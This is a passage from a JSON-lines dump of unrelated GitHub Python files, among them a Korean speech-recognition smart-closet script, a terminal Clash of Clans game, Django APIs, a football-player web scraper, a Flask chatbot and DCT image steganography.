pyaudio.paContinue\n\n def generator(self):\n while not self.closed:\n # Use a blocking get() to ensure there's at least one chunk of\n # data, and stop iteration if the chunk is None, indicating the\n # end of the audio stream.\n chunk = self._buff.get()\n if chunk is None:\n return\n data = [chunk]\n\n # Now consume whatever other data's still buffered.\n while True:\n try:\n chunk = self._buff.get(block=False)\n if chunk is None:\n return\n data.append(chunk)\n except queue.Empty:\n break\n\n yield b''.join(data)\n\n'''Clova 음성 파일 재생하는 함수'''\nimport pygame\ndef play(audio_name):\n pygame.mixer.init()\n pygame.mixer.music.load('../data/' + audio_name)\n pygame.mixer.music.play()\n # 필요해\n while pygame.mixer.music.get_busy() == True:\n continue\n\n\nflag = 0\nweather = WeatherModule()\ntts = TTS()\nclassification = Classification()\n\n# 리턴 0 추가 --> 스피커에서 소리가 나오면 리턴을 하게되고 해당 리턴값으로 다시 tts를 출력.\ndef compare(transcript):\n\n # 함수안에서 전역변수 수정하기 - global\n global flag\n\n # 모든 공백 제거\n text = transcript.strip()\n text = text.replace(\" \", \"\")\n\n if (flag == 0 and '안녕' in text):\n # 전역변수인 flag를 안녕을 함으로써 1로 바꿔줌. 1이 계속 유지되있는상태. 언제 0으로 다시 바꿀것인가..? --> 아래에 추가해놓은부분 주석처리 해놓긴했는데 실제로 테스트해봐야함.\n flag = 1\n print('===안녕')\n play(\"hello.mp3\") # 어떤 옷을 입으시겠어요?\n return False\n\n elif (flag == 1 and '날씨어때' in text):\n print('===날씨 ')\n w_list = weather.request_weather()\n # 날씨 + 기온 정보\n tts.synthesize_text(w_list[0])\n # 추천 옷차림 정보\n play(w_list[1])\n # 추가 멘트: 비 올때, 눈 올때\n if len(w_list) == 3:\n play(w_list[2])\n return True\n\n elif (flag == 1 and '옷알려줘' in text):\n print(\"===옷 \")\n # play(\"wait.mp3\")\n color, pattern, shape = classification.execute()\n tts.synthesize_text(\"{} {} {} 입니다.\".format(color, pattern, shape))\n return True\n\n # 고마워 말고 뭐 없나?\n elif (flag == 1 and '고마워' in text):\n flag = 0\n return False ## 종료\n\n '''\n elif (flag == 1):\n play(\"pardon.mp3\")\n print(\"pardon\")\n # tts.synthesize_text(\"다시한번 말씀해주시겠어요?\")\n return False\n '''\n return False\n\n\n# api로부터 받은 응답을 받아서 화면에 출력하는 함수\ndef listen_print_loop(responses):\n\n global flag\n \"\"\"\n 반환형식 :\n {\n \"results\": [\n {\n \"alternatives\": [\n {\n \"confidence\": 0.98267895,\n \"transcript\": \"how old is the Brooklyn Bridge\"\n }\n ]\n\n 각 응답은 여러개의 results와 여러개의 대체택스트로 이루어져있는데 여기서는\n 가장 최상위 result의 최상의 alternative의 transcript만 가져옴\n\n 전달된 음성이 중간지점이였을경우 말 한마디(?)가 끝날때까지 계속해서 출력되는듯 --> 그렇게 안되도록 수정했음!\n \"\"\"\n num_chars_printed = 0\n\n # 스트리밍으로 받아오는 응답에 대해\n for response in responses:\n # 제공된 오디오에서 음성을 인식할 수 없는경우 반환된 results목록에 항목이 없게됨.\n if not response.results:\n continue\n\n # 응답중 가장 최상위 results를 사용하겠다.\n result = response.results[0]\n\n # 0번째 result에 응답이 없으면 다시반복 .\n if not result.alternatives:\n continue\n\n # 인식된 텍스트값\n transcript = result.alternatives[0].transcript\n\n # overwrite_chars = ' ' * (num_chars_printed - len(transcript))\n\n # END_OF_SINGLE_UTTERANCE 이벤트 발생시 stt result text를 반환.\n # 말의 끝맺음으로써 스트리밍 인식을 종료하도록함. ( 안녕 -->이 말의 끝맺음으로 구글서버가 인식을 못하면 소용이 없긴함...)\n '''\n if response.speech_event_type:\n #이게 출력된다면 우리가 말한말을 끝맺음이라 판단하고 뒤에나오는 말들은 인식 안함 --> 오디오파일 재생후에 다시 STT호출하는 코드를 추가함\n\n print('final text: ', transcript)\n return transcript\n '''\n \"\"\"말의 끝맺음이 아니면 --> 막 계속 말하면 is_final이 result에 포함이 안되고 말이 끝낫을때 돌아오는 응답에만 is_final이 포함되서 돌아옴!!! \n ex) 우리 그래서 뭐먹어 --> 우리, 우리 그래서, 우리 그래서 뭐, 이런식으로 is_final값이 없이 응답이 계속해서 오다가 '우리그래서 뭐먹어' 가 한번에 모두 반환되는 시점의 응답에서 is_final = true가 추가되서 옴! \n 근데 밑에서 파라미터 interim_results = false로 추가해서 이제 중간단계들은 리턴안하고 말 한덩이가 끝날때만 응답이 오도록 바꿈.\"\"\"\n # if not result.is_final:\n # num_chars_printed = len(transcript)\n\n # 응답이 있고, 말도 끝났다면? --> 우리가 주로 쓰게될부분!!! (is_final = true)\n if result.is_final:\n # (이게 출력되는 중이라면 우리가 말한말이 끝맺음이라고 판단하지 않고 stt계속 대기하는상태\n print('me (is_final): ', transcript)\n compare(transcript)\n # 한마디 말하고 그에대한 응답이 compare에서 실행되면 다시 포문으로 돌아가서 다음 말한마디에 대한 compare함수 실행\n\n #num_chars_printed = 0\n\n\ndef main():\n\n # See http://g.co/cloud/speech/docs/languages\n # for a list of supported languages.\n language_code = 'ko-KR' # a BCP-47 language tag\n\n client = speech.SpeechClient()\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=RATE,\n language_code=language_code)\n streaming_config = speech.StreamingRecognitionConfig(\n config=config,\n # single_utterance=True 파라미터 추가함 --> single spoken utterance만 인지해서 응답해줌\n # 중간에 말을 멈추거나 하면 스트리밍인식을 종료함 --> 스피커소리 다시 인식 안하게됨\n #single_utterance=True,\n # false로 바꿧어. 이렇게 바꾸면 is_final 이 true인것만 반환함\n interim_results=True)\n\n\n with MicrophoneStream(RATE, CHUNK) as stream:\n audio_generator = stream.generator()\n requests = (speech.StreamingRecognizeRequest(audio_content=content)\n for content in audio_generator)\n\n responses = client.streaming_recognize(streaming_config, requests)\n\n # listen_print_loop가 리턴해도 다시 실핼될 수 있도\n listen_print_loop(responses)\n print('main: finished listen_print_loop')\n\n\n\nif __name__ == '__main__':\n play('start.mp3')\n main()\n# [END speech_transcribe_streaming_mic]\n\n","repo_name":"jiyoungtt/Smart-Closet","sub_path":"Main/stt_test.py","file_name":"stt_test.py","file_ext":"py","file_size_in_byte":9430,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13695651192","text":"from constants import COL,ROW,INFINITY\nfrom colorama import Fore, Back, Style\nfrom Build_buildings import cell,building\n\n\nclass cannon(building):\n\n def __init__(self,game,x_start,y_start,target=1,damage=50,name=\"Cannon\",health=100,strength = 300,color=Fore.RED,symbol=\"C\",height=1,width=1):\n super().__init__(game,name,health,strength,color,symbol,x_start,y_start,height,width)\n self.damage = damage\n self.target = None\n self.active = False\n\n def display(self):\n if(self.active == True):\n if(self.alive == True):\n for x_coord in range(self.x_start,self.x2):\n for y_coord in range(self.y_start,self.y2):\n self.game.map[y_coord][x_coord] = self\n if(self.health>50):\n self.color = Fore.GREEN\n elif(self.health>20):\n self.color = Fore.YELLOW\n elif(self.health>0):\n self.color = Fore.RED\n self.game.board[y_coord][x_coord] = self.color + Style.BRIGHT + self.symbol\n else:\n super().display()\n\n\n def attack(self):\n \n if(self.target==None):\n self.active = False\n temp = None\n for manhattan_Dist in range(1,7):\n for x_coord in range(max(0,self.x_start-manhattan_Dist),min(COL-2,self.x2+manhattan_Dist)+1):\n if(self.y_start-(manhattan_Dist-(abs(self.x_start-x_coord)))>=0):\n y_coord = self.y_start-(manhattan_Dist-(abs(self.x_start-x_coord)))\n\n if y_coord >=0 and y_coord < ROW:\n if((self.game.map[y_coord][x_coord].name == \"Barbarian\") or (self.game.map[y_coord][x_coord].name == \"King\") or (self.game.map[y_coord][x_coord].name == \"Queen\") or (self.game.map[y_coord][x_coord].name == \"Archer\")):\n temp = self.game.map[y_coord][x_coord]\n break\n\n if(self.y_start+(manhattan_Dist-(abs(self.x_start-x_coord)))=0 and y_coord < ROW:\n if(manhattan_Dist-(abs(self.x_start-x_coord))!=0):\n if((self.game.map[y_coord][x_coord].name == \"Barbarian\") or (self.game.map[y_coord][x_coord].name == \"King\") or (self.game.map[y_coord][x_coord].name == \"Queen\") or (self.game.map[y_coord][x_coord].name == \"Archer\")):\n temp = self.game.map[y_coord][x_coord]\n break \n if(temp != None):\n break\n if(temp != None):\n self.target = temp\n self.attack()\n self.active = True\n else:\n x_diff = abs(self.target.x-self.x_start)\n y_diff = abs(self.target.y-self.y_start)\n if(x_diff+y_diff < 6):\n self.target.strength -= self.damage\n self.target.health = max(0,((self.target.strength/self.target.strength_Max)*100))\n if(self.target.strength <= 0):\n self.target.death()\n self.target = None\n else:\n self.target = None\n self.active = False\n\n def destroy_building(self):\n self.active = False\n super().destroy_building()","repo_name":"LokeshVenkatachalam/Clash-of-Clans-Terminal-Version","sub_path":"src/Build_Cannon.py","file_name":"Build_Cannon.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17454493193","text":"from rest_framework.permissions import IsAuthenticated\nfrom rest_framework.views import APIView\nfrom rest_framework import generics\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom menus.models import Menu, MenuOnSale, Site, MenuAlreadyOnSaleException\nfrom django.utils.dateparse import parse_date\nfrom menus.serializers import MenuOnSaleSerializer\nfrom users.permissions import IsSiteAdminAssignedToSite, IsSiteAdminUser\n\n\nclass CreateMenuOnSaleAPI(APIView):\n permission_classes = [IsSiteAdminUser, IsSiteAdminAssignedToSite]\n\n def post(self, request):\n site = Site.objects.get(pk=request.data['site'])\n self.check_object_permissions(request, site)\n try:\n menu_sales = self.create_sale(request.data, site)\n except MenuAlreadyOnSaleException:\n return Response({'message': 'menu already on sale on the date', 'error': 'menu-already-on-sale' }, status=status.HTTP_400_BAD_REQUEST)\n return Response(MenuOnSaleSerializer(menu_sales).data)\n \n def create_sale(self, sale_data, site):\n menu = Menu.objects.get(pk=sale_data['menu'])\n sale_date = parse_date(sale_data['sale_date'])\n return menu.create_sale(sale_date, sale_data['stock'] , site, sale_data['price'])\n \n\nclass ListMenuOnSaleAPI(generics.ListAPIView):\n permission_classes = [IsAuthenticated]\n serializer_class = MenuOnSaleSerializer\n\n def get_queryset(self):\n filterFields = {}\n if self.request.query_params.get('site', None) is not None:\n filterFields['site'] = self.request.query_params.get('site')\n if self.request.query_params.get('sale_date', None) is not None:\n filterFields['sale_date'] = parse_date(self.request.query_params.get('sale_date'))\n return MenuOnSale.objects.filter(**filterFields)","repo_name":"jcgardey/comedor-universitario","sub_path":"menus/api/menu_on_sale.py","file_name":"menu_on_sale.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9204876336","text":"import argparse\nfrom datetime import datetime\nfrom urllib import parse\nfrom multiprocessing import Pool, cpu_count\nimport requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport numpy as np\n\nfrom player_data_parser import get_player_data\n\ndef get_url(query_string, offset):\n return f'https://sofifa.com/players?{query_string}&offset={offset}'\n\nfname = \"scraped_datapoints.txt\"\ntry:\n with open(fname) as file:\n read_queries = [line.rstrip('\\n') for line in file]\nexcept:\n read_queries = []\n\nurl = f'https://sofifa.com/players?'\npage = requests.get(url)\nbs = BeautifulSoup(page.text, 'html.parser')\ndatapoint_rows = bs.findAll('div', {'class': 'filter-body'})[0]\n\ndates = {}\nfor drow in datapoint_rows.findAll('div', {'class': 'column col-4'})[4:]:\n month = drow.div.div.div.get_text()\n for child in drow.findAll('div', {'class': 'card-body'})[0].findChildren([\"a\"]):\n query_string = parse.urlparse(child[\"href\"]).query\n day = child.get_text()\n date = datetime.strptime(f\"{month} {day}\", '%b %Y %d')\n date_string = date.strftime(\"%Y-%m-%d\")\n dates[date_string] = query_string\n\nbs.decompose()\n\nfor data_date, query_string in dates.items():\n if query_string in read_queries:\n continue\n\n with open(fname, \"a\") as myfile:\n myfile.write(f\"{query_string}\\n\")\n\n players = []\n\n offset = 0\n url = get_url(query_string, offset)\n page = requests.get(url)\n\n first_player_id = None\n print(f\"Starting to scrape data for {query_string}\")\n\n pool = Pool(cpu_count())\n\n not_all_done = True\n while not_all_done:\n if 'offset' not in page.url:\n not_all_done = False\n break\n bs = BeautifulSoup(page.text, 'html.parser')\n\n player_table = bs.findAll('table', {'class': 'table table-hover persist-area'})[0]\n\n rows = player_table.findChildren(['tr'])\n list_of_players = []\n for row in rows[2:]:\n id_col = row.findChildren([\"td\"])[0]\n player_id = int(id_col.img[\"id\"])\n\n player_col = row.findChildren([\"td\"])[1]\n a_cols = player_col.div.findChildren(\"a\")\n\n player_data = {\n 'fifa_id': player_id,\n 'nationality': player_col.div.a[\"title\"],\n 'name': a_cols[1][\"title\"],\n 'play_pos': ','.join([a.get_text() for a in a_cols[2:]]),\n 'link': a_cols[1][\"href\"] + f'?{query_string}'\n }\n\n if first_player_id is None:\n first_player_id = player_id\n else:\n if first_player_id == player_id:\n not_all_done = False\n break\n else:\n list_of_players.append(player_data)\n\n data = pool.map(get_player_data, list_of_players)\n players.extend(data)\n\n bs.decompose()\n\n if not_all_done:\n offset += 80\n print(f\"Next Offset: {offset}\")\n url = get_url(query_string, offset)\n page = requests.get(url)\n\n\n player_df = pd.DataFrame(players)\n player_df.to_csv(f\"data/generated/player_data/SOFIFA_ext_{data_date}.csv\")\n break\n","repo_name":"Villux/world_cup","sub_path":"scripts/sofifa_extensive_player_scraper.py","file_name":"sofifa_extensive_player_scraper.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30064150647","text":"\r\n\r\n\r\nclass Solution:\r\n\tdef letterCombinations(self, digits : str):\r\n\t\tif not digits: return []\r\n\t\t\r\n\t\tphoneMap = {\r\n\t\t\t\"2\" : \"abc\",\r\n\t\t\t\"3\" : \"def\",\r\n\t\t\t\"4\" : \"ghi\",\r\n\t\t\t\"5\" : \"jkl\",\r\n\t\t\t\"6\" : \"mno\",\r\n\t\t\t\"7\" : \"pqrs\",\r\n\t\t\t\"8\" : \"tuv\",\r\n\t\t\t\"9\" : \"wxyz\"\r\n\t\t\t}\r\n\t\tdef backtrace(combination, nextdigit):\r\n\t\t\tif len(nextdigit) == 0:\r\n\t\t\t\tres.append(combination)\r\n\t\t\telse:\r\n\t\t\t\tfor letter in phoneMap[nextdigit[0]]:\r\n\t\t\t\t\tbacktrace(combination + letter, nextdigit[1:])\r\n\t\tres = []\r\n\t\tbacktrace('', digits)\r\n\t\treturn res\r\n\r\nif __name__ == '__main__':\r\n\tstr = '23'\r\n\tres = Solution().letterCombinations(str)\r\n\tprint(res)\r\n\tstr = '9'\r\n\tprint(Solution().letterCombinations(str))\r\n\t\r\n\t\t\t\t\r\n\r\n","repo_name":"HuangMeishi/PhoneMap","sub_path":"AnswertoTest.py","file_name":"AnswertoTest.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7114439683","text":"\"\"\"Word Finder: finds random words from a dictionary.\"\"\"\nimport random\n\nclass WordFinder:\n \n\n\n def __init__(self,path):\n self.path = path\n file = open(path)\n counter = 0\n for line in file:\n counter += 1\n file.close()\n\n print(f\"{counter} files read\") \n\n def random(self):\n file = open(self.path)\n words = [word.strip() for word in file]\n\n return random.choice(words)\n\nclass SpecialWordFinder(WordFinder):\n\n def __init__(self,path):\n super.__init__(path)\n\n def random(self):\n file = open(self.path)\n words = [word.strip() for word in file if word.strip() and not word.startswith(\"#\")] \n return random.choice(words)\n\n \n\n\n","repo_name":"DomenicWolf/pythonw2","sub_path":"wordfinder.py","file_name":"wordfinder.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30656510166","text":"\"\"\"Computer Vision\"\"\"\n\nfrom io import BytesIO\nfrom skimage import io\nimport cv2\nimport numpy as np\n\nFACE_DETECTOR = cv2.CascadeClassifier(\"haarcascade_frontalface_alt2.xml\")\n\ndef mat_to_buffer(mat, extension):\n \"\"\"Encode opencv type to byte stream\"\"\"\n ret_file = BytesIO()\n _, buf = cv2.imencode('.'+extension, mat)\n\n ret_file.write(buf.tostring())\n ret_file.seek(0)\n\n return ret_file\n\ndef file_to_mat(file):\n buffer = BytesIO()\n file.save(buffer)\n buffer.seek(0)\n mat = cv2.cvtColor(io.imread(buffer), cv2.COLOR_BGR2RGB)\n\n return mat\n\ndef crop(img):\n \"\"\"Crop to face\"\"\"\n# image = cv2.imread(img)\n faces = detect(img)\n\n if len(faces) > 0:\n (x, y, w, h) = faces[0]\n img = img[y:y+h, x:x+w]\n\n return img\n\ndef detect(img):\n \"\"\"Detect all faces in image\"\"\"\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return FACE_DETECTOR.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30)\n )\n","repo_name":"mattmatters/mr-face-cropper","sub_path":"cropper/cropper.py","file_name":"cropper.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13217624659","text":"from django.urls import path\nfrom . import views\nurlpatterns = [\n path(\"\",views.index,name=\"shophome\"),\n path(\"about/\",views.about,name=\"shopabout\"),\n path(\"contact/\",views.contact,name=\"shopcontact\"),\n path(\"tracker/\",views.tracker,name=\"shoptracker\"),\n path(\"products/\",views.product,name=\"shopproduct\"),\n path(\"checkout/\",views.checkout,name=\"shopcheckout\"),\n path(\"search/\",views.search,name=\"shopsearch\")\n]","repo_name":"akashmore/Django","sub_path":"ewebsite/shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36517420119","text":"from channels.generic.websocket import WebsocketConsumer\nfrom channels.generic.websocket import AsyncWebsocketConsumer\nimport mq_messaging as mq\nimport json\nimport logging\nimport time\nimport pika\nimport threading\n\nlogger = logging.getLogger('django.server')\n\n\nclass StatusConsumer(WebsocketConsumer):\n\n def __init__(self, scope):\n super().__init__(scope)\n self.signal_waveform_listener = mq.AsyncBroadcastListener(\n 'localhost', 'signal_waveform')\n self.signal_psd_listener = mq.AsyncBroadcastListener(\n 'localhost', 'psd')\n self.queue_publisher = mq.TaskPublisher('localhost')\n\n def signal_waveform_callback(self, body):\n ob = json.loads(body)\n real = []\n imag = []\n for c in ob:\n real.append(c[0])\n imag.append(c[1])\n self.send(text_data=json.dumps({\n 'type': 'signal',\n 'real': real,\n 'imag': imag\n }))\n\n def psd_callback(self, body):\n ob = json.loads(body)\n self.send(text_data=json.dumps({\n 'type': 'psd',\n 'psd': ob,\n }))\n\n def connect(self):\n self.accept()\n self.signal_waveform_listener.start_listening(\n self.signal_waveform_callback)\n self.signal_psd_listener.start_listening(\n self.psd_callback)\n\n def disconnect(self, close_code):\n self.signal_waveform_listener.stop_listening(\n self.signal_waveform_callback)\n self.signal_psd_listener.stop_listening(self.psd_callback)\n\n def receive(self, text_data=None, bytes_data=None):\n if text_data is None:\n logger.info(\n 'Websocket Consumer received a message but there is no text_data.')\n return\n text_data_json = json.loads(text_data)\n message = 'Couldn\\'t parse message.'\n if 'stream' in text_data_json:\n payload = text_data_json['payload']\n if 'message' in payload:\n message = payload['message']\n elif 'sender' in text_data_json:\n if 'message' in text_data_json:\n message = text_data_json['message']\n if text_data_json['sender'] == 'command_button':\n self.queue_publisher.publish_queue_message(\n 'command', message)\n else:\n logger.error(\n 'WebSocket Consumer received a message without a sender field!')\n","repo_name":"mjbankston/UberProject","sub_path":"Python/Django/learning_site/testApp/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"223499135","text":"import numpy as np\n\n\nclass Node:\n\n def __init__(self, point):\n if len(point) != 3:\n print(\"Point should be in 3D space!\")\n return\n\n self.x = point[0]\n self.y = point[1]\n self.z = point[2]\n self.cost = 0.0\n self.parent = None\n\n @property\n def point(self):\n return [self.x, self.y, self.z]\n\n","repo_name":"hddxds/scripts_from_gi","sub_path":"obstacle_avoidance_gazebo_and_tx2/Navigator_2D_tx2/RRT_star/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28559942904","text":"import numpy as np\n# from sklearn.datasets import load_boston\n# from sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error\n# from sklearn.datasets import load_boston\n# from sklearn.model_selection import train_test_split\n# from sklearn.preprocessing import StandardScaler\n\nclass LinearRegression_LS:\n def __init__(self):\n self._theta = None\n\n def fit(self, X_train, y_train):\n \"\"\"\n :param X_train: 训练特征集\n :param y_train: 训练结果集\n :return:\n \"\"\"\n assert X_train.shape[0]==y_train.shape[0]\n X=np.hstack([np.ones((len(X_train),1)),X_train])\n self._theta=np.linalg.inv(X.T.dot(X)).dot(X.T).dot(y_train)\n return self\n\n def predict(self,X_predict):\n assert self._theta is not None\n X=np.hstack([np.ones((len(X_predict),1)),X_predict])\n return X.dot(self._theta)\n\nclass LinearRegression_GD:\n def __init__(self, eta=0.01, n_iters=1e4, epsilon=1e-7):\n self.theta = None\n self.m = None\n self.eta = eta\n self.n_iters = n_iters\n self.epsilon = epsilon\n\n def fit(self,X_train, y_train):\n \"\"\"\n :param X_train: 训练特征集\n :param y_train: 训练结果集\n :return:\n \"\"\"\n\n assert X_train.shape[0] == y_train.shape[0]\n X_train = np.hstack([np.ones((len(X_train),1)),X_train])\n theta = np.zeros(X_train.shape[1]).reshape(-1,1)\n self.m = len(y_train)\n\n def J(theta,X,y): #theta应该是列向量\n return np.sum((y-X.dot(theta))**2) / self.m\n\n def dJ(theta,X,y):\n res = np.empty(len(theta)).reshape(-1,1)\n hx = X.dot(theta)-y\n res[0] = np.sum(hx)\n for i in range(1,len(theta)):\n a = X[:, i]\n res[i] = a.dot(hx)\n return res*2/self.m\n\n for _ in range(int(self.n_iters)):\n gradient = dJ(theta,X_train,y_train)\n last_theta = theta\n theta = theta-self.eta*gradient\n if (abs(J(theta,X_train,y_train)-J(last_theta,X_train,y_train)) mxScore:\n mxScore = curScore\n nxtId = i\n print(f\"\\nSimilarity Score: {mxScore}\\n\")\n if mxScore >= th:\n nodeTb = db.node_info\n node = nodeTb.find_one({'id':nxtId})\n resp = node[\"responses\"]\n if node['rb'] == 0:#text\n response = random.choice(resp[\"text\"])\n elif node['rb'] == 1:#option\n response = resp[\"prompt\"]\n for i in resp[\"option\"]:\n response += \"$\" + i\n \n return response, nxtId, d[k]\n print(k,d)\n return None, k, d\n\n@app.route(\"/predict\", methods=[\"POST\"])\n# @app.post(\"/predict\")\ndef predict():\n global curID\n global tmpD\n text = request.get_json().get(\"message\")\n response, curID, tmpD = flow(curID, text, tmpD)\n flag=0\n if response == None:\n print(\"\\nEntered no flow\\n\")\n response = get_response(text)\n flag=1\n if(flag==1):\n flag=0\n print(\"\\nback to flow\\n\")\n if curID == None:\n curID = \"1\"\n message = {\"answer\": response}\n # entity = ner(text)\n # user_input = {'question': text, 'answer': response}\n # records.insert_one(user_input)\n return jsonify(message)\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"anshul-sharma-2002/Chatbot_Builder_SIH","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4364552293","text":"# -*- coding: UTF-8 -*-\n#!/usr/bin/python3\n\"\"\"\nCLDC task classifier\n\"\"\"\n\n#************************************************************\n# Imported Libraries\n#************************************************************\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\n\nfrom sklearn.manifold import TSNE\nfrom matplotlib import pyplot as plt\n\nfrom .base_mlp import BaseMLP\n\nimport pdb\n\n\nclass CLDCClassifier(nn.Module):\n def __init__(self, params, classifier_config):\n super(CLDCClassifier, self).__init__()\n\n self.mlp = BaseMLP(classifier_config)\n\n self.criterion = nn.CrossEntropyLoss()\n # sig\n #self.criterion = nn.BCEWithLogitsLoss()\n # sig\n \n # vis\n self.vis_x = []\n self.vis_y = []\n # vis\n\n self.use_cuda = params.cuda\n\n\n def forward(self, x, y, training, vis = False):\n if training:\n self.train()\n pred_logits = self.mlp(x)\n else:\n self.eval()\n with torch.no_grad():\n pred_logits = self.mlp(x)\n\n # bs \n pred = torch.argmax(pred_logits, dim = 1)\n # bs, label_size\n pred_p = torch.softmax(pred_logits, dim = 1)\n '''\n # sig\n pred_p = torch.sigmoid(pred_logits)\n pred = pred_p > 0.5\n pred_p = torch.cat([1 - pred_p, pred_p], dim = -1)\n # sig\n '''\n # vis\n if self.training is False and vis:\n last_hid = self.mlp.mlp[:-1](x)\n self.vis_x.append(last_hid.detach().cpu().numpy()) \n self.vis_y.append(y.detach().cpu().numpy())\n # vis \n \n cldc_loss = None\n if training and y is not None:\n cldc_loss = self.criterion(pred_logits, y)\n # sig\n #cldc_loss = self.criterion(pred_logits.squeeze(), y.float())\n # sig\n\n return cldc_loss, pred_p, pred\n","repo_name":"cambridgeltl/mling_sdgms","sub_path":"nn_model/mlp/cldc_classifier.py","file_name":"cldc_classifier.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"28145507972","text":"import cv2\nimport numpy as np\nimport struct\n\n\ndef zigzag_indices(block_size):\n indices = np.arange(block_size**2).reshape(block_size, block_size)\n return np.concatenate([np.diagonal(indices[::-1, :], i)[::(2*(i % 2)-1)]\n for i in range(1-block_size, block_size)])\n\n\ndef hide_data_dct(image_path, data, progress_callback=None):\n image = cv2.imread(image_path)\n height, width = image.shape[:2]\n block_size = 8\n\n # Calculate the total number of 8x8 blocks in the image\n total_blocks = (height // block_size) * (width // block_size)\n\n # Check if the data can be hidden in the image\n data_length = len(data)\n if data_length + 4 > total_blocks: # +4 for data length header (4 bytes)\n raise ValueError(\"Data size is too large for the given image.\")\n\n data_index = 0\n\n # Add data length header (4 bytes) to the data\n data = struct.pack('>I', data_length) + data\n data_length += 4\n\n zigzag_order = zigzag_indices(block_size)\n\n for row in range(0, height, block_size):\n for col in range(0, width, block_size):\n block = image[row:row+block_size, col:col+block_size]\n\n # Apply DCT\n block_float = np.float32(block)\n dct_block = cv2.dct(block_float)\n\n # Hide data in DCT coefficients using zigzag ordering\n if data_index < data_length:\n dct_block.flat[zigzag_order[1]] = data[data_index]\n data_index += 1\n\n # Inverse DCT\n block_hidden = cv2.idct(dct_block)\n image[row:row+block_size, col:col+block_size] = np.uint8(block_hidden)\n\n if data_index >= data_length:\n break\n\n cv2.imwrite('hidden_dct_image.jpg', image)\n\n\ndef extract_data_dct(image_path):\n hidden_image = cv2.imread(image_path)\n height, width = hidden_image.shape[:2]\n block_size = 8\n\n extracted_data = []\n\n zigzag_order = zigzag_indices(block_size)\n\n for row in range(0, height, block_size):\n for col in range(0, width, block_size):\n block = hidden_image[row:row+block_size, col:col+block_size]\n\n # Apply DCT\n block_float = np.float32(block)\n dct_block = cv2.dct(block_float)\n\n # Extract data from DCT coefficients using zigzag ordering\n extracted_data.append(int(dct_block.flat[zigzag_order[1]]))\n\n # Retrieve data length header (4 bytes)\n data_length = struct.unpack('>I', bytes(extracted_data[:4]))[0]\n return bytes(extracted_data[4:4+data_length])\n","repo_name":"ParadoxReagent/Python","sub_path":"steg/dct_steganography.py","file_name":"dct_steganography.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7456933341","text":"import os\r\nimport json\r\nimport logging\r\n\r\nfrom calaldees.debug import postmortem\r\n\r\nVERSION = 'v0.0.0'\r\n\r\nlog = logging.getLogger(__name__)\r\n\r\n\r\n# Constants --------------------------------------------------------------------\r\n\r\nDESCRIPTION = \"\"\"\r\n mediaTimelineRenderer\r\n\"\"\"\r\n\r\nDEFAULT_CONFIG_FILENAME = 'config.json'\r\n\r\n\r\n# Command Line Arguments -------------------------------------------------------\r\n\r\ndef get_args():\r\n import argparse\r\n\r\n parser = argparse.ArgumentParser(\r\n prog=__name__,\r\n description=DESCRIPTION,\r\n )\r\n\r\n parser.add_argument('path_media', action='store', help='', default='./')\r\n\r\n parser.add_argument('--daemon_scan_interval_seconds', type=int, action='store', help='', default=0)\r\n\r\n parser.add_argument('--image_format', action='store', help='', default='png')\r\n parser.add_argument('--image_height', type=int, action='store', help='', default=64)\r\n parser.add_argument('--pixels_per_second', type=int, action='store', help='The number of horizontal pixels that represent a second', default=8)\r\n\r\n parser.add_argument('--audio_input_samples_per_pixel', type=int, action='store', help='The number of horizontal pixels that represent a second', default=32)\r\n\r\n parser.add_argument('--command_ffmpeg', action='store', help='', default='ffmpeg -loglevel quiet')\r\n\r\n parser.add_argument('--force', action='store_true', help='ignore file mtimes and regenerate all timelines', default=False)\r\n\r\n parser.add_argument('--config', action='store', help='', default=DEFAULT_CONFIG_FILENAME)\r\n\r\n parser.add_argument('--vscode_debugger_port', type=int, action='store', help='attach to vscode')\r\n parser.add_argument('--postmortem', action='store', help='Enter debugger on exception')\r\n parser.add_argument('--log_level', type=int, help='log level', default=logging.INFO)\r\n\r\n parser.add_argument('--version', action='version', version=VERSION)\r\n\r\n kwargs = vars(parser.parse_args())\r\n\r\n # Overlay config defaults from file\r\n if os.path.isfile(kwargs['config']):\r\n 